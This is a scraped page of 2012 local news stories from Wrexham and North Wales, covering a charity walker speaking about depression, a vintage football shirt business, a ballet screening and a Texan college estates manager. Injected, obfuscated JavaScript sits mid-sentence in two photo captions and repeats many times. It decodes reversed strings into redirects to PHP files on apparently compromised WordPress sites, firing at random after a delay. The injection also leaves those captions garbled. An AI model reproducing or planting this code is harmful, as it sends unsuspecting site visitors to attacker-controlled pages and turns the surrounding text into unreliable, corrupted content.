Category: News

Stuart steps out to lift taboo

Walking around England Stuart Jessup and his dog Poppy s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}top off at Coxeys in Grosvenor Road, Wrexham $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to meet Morag and Peter Browning and administration assistant Julie Owen.

A charity walker is counting on a firm of chartered accountants and statutory auditors from Wrexham.

Teacher Stuart Jessup, 52, is in the middle of a marathon 2,500 mile-trek to raise money for Anxiety UK and Sane.

Stuart, who has suffered from periodic bouts of depression since he was a teenager, stopped off at Coxeys’ Wrexham office in Grosvenor Road to thank them for their support.

He was particularly grateful to Coxeys director Morag Browning and her husband, Peter, who provided overnight accommodation for him.

Stuart has taken a 12-month sabbatical from his job at the Cambridge Centre for Sixth-form Studies, in Cambridge, to complete the Edge of England Walk.

He is now just over half way through the challenge and he’s hoping the final total will be close to £10,000.

Equally important to Stuart is raising the profile of the problem of depression which, he says, is much more commonplace than people think.

Stuart explained: “I’ve suffered from depression ever since I was a teenager. It’s a lot better now than it used to be, but walking has always been one of the ways of dealing with it.

“I used to work for a technology consultancy, and I had a what in the past would be called a nervous breakdown.

“I’ve had various different kinds of therapies since then and over the years I’ve learnt more and more about how to manage it  through drugs and therapy.

“It used to be very debilitating, now it’s much shallower and much less often, which is good.

“When it happens it’s like a switch being thrown in my brain -  it’s almost like my brain has shut down.

“It feels like it’s hard to think. It feels like I don’t want to do anything. Everything is hard. Dealing with people is hard. Dealing with any kind of problem is hard.

“You just want to shut yourself away, and that’s where the walking comes in because it’s a way of getting away from everyday life, just being in a different environment for a little while and just sort of quietening things down.”

“One in four people in their lifetime will suffer from either anxiety or depression.

“If you break your leg then you get lots of sympathy, you talk about it, but it doesn’t make any difference to how quickly your leg heals.

“But if you have a bout of depression or severe anxiety it’s actually the talking about it that’s part of recovery, and yet we have this taboo, this stigma that makes it hard to talk about.”

The link with Coxeys came about through an organisation called Junior Chamber International which is a training and development organisation for young people aged between 18 and 40.

Morag, Peter and Stuart’s wife, Kate are all Junior Chamber Senators who act as mentors to young professionals.

The staff at Coxeys are planning fund-raising activities so that they can contribute to the fund.

Morag said: “I have a friend whose mother committed suicide because she was depressed.

“Somebody else we know suffers from acute depression though you’d never know it because
outwardly he’s the jolliest person you could ever meet.

”I am full of admiration for Stuart for taking on this huge challenge and wish him all the best on the rest of his trek.”

Thursday March 15th, 2012

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Vintage shirts help football-mad Tomas kick-start a new career

MD Coxey & co Ltd and Vintage Football Shirts Ltd, Wrexham. pictured is Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor at M D Coxey & Co Limited Anthony Lewis and Tom Jones of Vintage Football Shirts.

A football-mad entrepreneur has made a remarkable comeback after being made redundant.

Tomas Jones, 28, from Ruabon, near Wrexham, turned his passion for the beautiful game into a successful business selling replica football shirts and match-worn shirts.

Now his internet-based company, Vintagefootballshirts.com, has scored a global hit and has customers as far afield as America, Australia and Asia.

In all, Tomas has over 5,000 shirts for sale, including one worn by former Italian superstar Roberto Baggio in the 1994 World Cup.

His favourite, though, is one that has come full circle – a Barcelona shirt worn by former Wales manager Mark Hughes, who comes from Ruabon.

The local legend played at the Nou Camp in the 1980s following his transfer from Manchester United.

Things didn’t look so rosy for Tomas when the former welder was one of 200 people who lost their jobs when the Air Products factory in Acrefair closed down in 2009.

The timing for was “pretty dire” because he had just signed to buy a flat just days before the bombshell news came through.

But his never-say-die attitude turned adversity into triumph with the help of Chartered Accountants and Statutory Auditors Coxeys who have offices in Wrexham and Saltney.

According to Tomas, Coxeys’ help in navigating the potential minefield of setting up and running the company was vital.

He said: “It’s absolutely imperative that you have the right financial and tax advice when you’re running a company.

“It means I can just concentrate on the football shirts side of the business instead of worrying about tax returns and any potential pitfalls.

“Coxeys are helping the company to develop and grow – they are providing expert support that’s enabling me to maximise our potential.”

The idea to set up the company came during the World Cup in 2006 when he noticed that England shirts were being sold for £13 apiece by Sports Direct in their shops.

The same shirts were fetching £25 a time on Ebay so he ended up buying  200 from Sports Direct and selling them on for a profit.

He said: “I noticed that everybody wanted the old shirts, the vintage ones, and I just got hooked then trying to find the old ones.

“The shirts I sell are the real deal, they are not retro remakes pretending to be shirts from 20 years ago. I buy many of them from members of the public who can contact me via the website.

“They are the ones you bought in the shops at the time. I also sell the players’ jerseys, the ones that were worn or issued to them for games.

“I sell kids shirts for as little as £10 while some of the vintage shirts go for between £50 and £250.

“The most expensive ones I’ve sold were shirts issued  to Manchester United players, Paul Ince and Steve Bruce, in the  Champions League against Barcelona in the Nou Camp in 1994.

“They were only on the website for about two hours before we sold them for £650 each.

“The best sellers are the Manchester United and Liverpool shirts, along with Arsenal.

“Seventy per cent of the shirts go abroad to places like Indonesia, Malaysia, Thailand and Japan. We also sell to America, Australia, Italy, France and the rest of Europe.

“I can see the company growing every year,  I think the potential is massive because the world loves football.

Anthony Lewis, a Director of Coxeys, is delighted to have been able to play a role in Tom’s success

He said: “Tomas’s story is inspirational. When faced with being made redundant, he grasped the opportunity to go into business and make a success of his life.

“We see our job basically is to encourage people like Tomas and also to take the burden off them in relation to things like tax, payroll and compliance.

“The business is a great success story and there’s no limit to how far Tomas can actually grow this business.”

For more information go to: www.vintagefootballshirts.com or www.mdcoxey.com

Tuesday March 13th, 2012

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Heartbreaking love story beamed live via satellite to Odeon in Wrexham

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The greatest love story ever told is coming to Wrexham thanks to a global collaboration with the Royal Ballet.

Their stunning production of Romeo and Juliet will be beamed live to the Odeon Cinema at the Eagles Meadow shopping centre on Thursday, March 22.

The cinema is one of 600 venues worldwide that will be screening Shakespeare’s tale of tragic, star-crossed love at the Royal Opera House in London’s Covent Garden.

Odeon manager Andy Elvis, says the performance by the world famous ballet will be a first for Wrexham thanks to the installation of high-tech satellite equipment.

He said: “This really is massive for Wrexham and a huge opportunity for us. The screening of live events in cinemas is definitely something I am sure will grow.

“There is huge potential whether it’s live sport events such as F1 perhaps or rock concerts. The opportunities are endless.

“The equipment has all been installed and tested and I have to say the sound and picture quality is absolutely remarkable. It really is as if you are actually there.

“This is the opportunity to watch performances such as Romeo and Juliet direct from the Royal Opera House without the high cost of travelling to London and paying high ticket prices.”

The March 22 performance stars Lauren Cuthbertson as Juliet while Principal performer Federico Bonelli will play Romeo.

Devon-born Principal Cutherbertson began dancing with the Royal Ballet School in 1995 and gained second place in the Young British Dancer of the Year in 2000.

In 2001 she was silver medallist at the Adeline Genée Award before joining the Royal Ballet as a performer in 2002 and was promoted to soloist in 2003 and Principal in 2008.

Italian Federico Bonelli has been a principal of the Royal Ballet since 2003 and dances lead roles in a number of ballets including Swan lake, The Sleeping Beauty and is also dancing with Lauren Cuthbertson as the Knave of Hearts in Alice’s Adventures in Wonderland.

Andy Elvis added: “It promises to be a stunning evening of entertainment and something new for North Wales and Wrexham in particular. The curtain goes up at 7.15pm prompt.

“The ballet will then be performed in three acts. The first lasts one hour before a 20 minute interval. Act two is shorter at 33 minutes followed by a 20 minute interval before the final act of 39 minutes gets under-way.

“There will be exclusive interviews screened before the performance and during the intervals as well as backstage footage to give a real insight into the staging of one of the world’s most popular ballets.”

Royal Ballet spokeswoman Sophie Lawrenson says the March 22 performance will be beamed live to more than 600 cinemas across 25 countries, including Argentina, Australia and America helping the Company to bring ballet to a far wider audience.

She said: “Featuring two of the Company’s most established dancers in Lauren Cuthbertson and Federico Bonelli, Kenneth MacMillan’s heart-breaking production has wowed audiences for more than 40 years.

“Powerfully moving, it brings the full force of the classic love-story to life leaving the star crossed lovers as the fatal victims in its wake. Based on Shakespeare’s famous play, it features the full Company of the Royal Ballet who fill the stage with colour and energy.

“The haunting Prokofiev score creates an atmosphere of drama and tragedy as the pair of lovers embark on an emotional journey from the hopeful innocence of youth to the realization that only death can unite them.”

Romeo and Juliet is the second of an initial four performance series of classic ballet and theatre productions to be beamed onto the screen of the Eagles Meadow venue.

According to Andy Elvis: “We started with a National Theatre production of Shakespeare’s The Comedy of Errors on Thursday, March 1.

“Following Romeo and Juliet we have Oliver Goldsmith’s She Stoops to Conquer live from the National Theatre, London on Thursday, March 29 and Verdi’s Rigoletto live from the Royal Opera House, Covent Garden on Tuesday, April 17.

“Tickets for Romeo and Juliet and Rigoletto are £15 each while She Stoops to Conquer are £12.50p. Those attending the performance of Rigoletto should be aware the act opera does contain scenes of a sexual nature and some nudity, particularly in Act One.

“However, we know Romeo and Juliet is going to be particularly popular and I would encourage anyone planning to purchase tickets to do so early to avoid disappointment.”

For tickets call the Odeon Eagles Meadow box office on 0871 224 4007 or visit www.odeon.co.uk

Tuesday March 13th, 2012

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Texan just loves Harlech!

Coleg Harlech. new estates manager Gib Walker

An American has swapped the Lone Star State for Gwynedd and is immersing himself in Welsh culture.

Texan, Gibb Walker, 41, is the new Estates Manager at the second chance college, Coleg Harlech WEA.

Although it’s very different to life in his home city of Houston, in Texas, he said: “I absolutely love it here in Wales and have strong aspirations of learning the Welsh language

“There are significant differences between life in Texas and here in Harlech and but the weather is perhaps the most notable of all.

“Temperatures in Houston, especially in the summer months, are so unbearable. Houstonians conduct their lives in an air-conditioned indoor environment. This does not bode well for individuals like me who enjoy outdoor activities.

“Fresh air in Houston is luxury and I appreciate the fresh air in North Wales regardless of the wind, the rain and the cold.

“I enjoy my position as the Coleg Harlech Estates Manager as there are always new challenges,  Each day is unpredictable but it is the satisfaction of meeting these challenges that inspires me.

“I have worked in a number of industries but most recently I managed a department within the health care service in Cumbria.

“Although I am American, I appreciate the cultural differences between the US and the United Kingdom.  My assimilation into the British and Welsh culture was aided by my family who lives in London and I enjoy the time I spend with family and friends when I am away from work.

“I also served in the American Air Force and was stationed at RAF Little Rissington in Gloucestershire, during the Gulf War.  During my tenure at RAF Little Rissington, I was introduced to the British way of life and longed to return the UK after my military career.

“Prior to relocating to North Wales, I knew very little about the area. Indeed, I think one cannot truly appreciate a locale until you live there.  I was pleasantly surprised by the warmth and friendliness of the Welsh people and especially those in Harlech.”

Although Gibb says he doesn’t miss Texas he is quick to point out a few differences between the very different US and UK cultures.

He said: “Wales offers safety and security and a relaxed way of life. You can walk down the street and feel safe.”

“I have to say I also love British television. I am not a big sports fan but really enjoy the quality of the historical and natural history documentaries that are so readily available here in the UK. I am also a big fan of British comedy.”

“Americans for some reason just don’t seem to get sarcasm or satire. And as a result most American comedy shows are rather predictable.”

“I am enjoying my time in Wales and have found a unique employment opportunity in one of the most picturesque locations.

“I am adjusting well to my new position and I am looking forward to mastering the Welsh language.”

Coleg Harlech Principal Trefor Fȏn Owen was delighted that they had been able to appoint somebody of Gibb’s calibre to such a pivotal role.

He said: “Gibb is a welcome addition to the management team here and I am sure that his ability and experience will be extremely valuable.”

Tuesday March 13th, 2012

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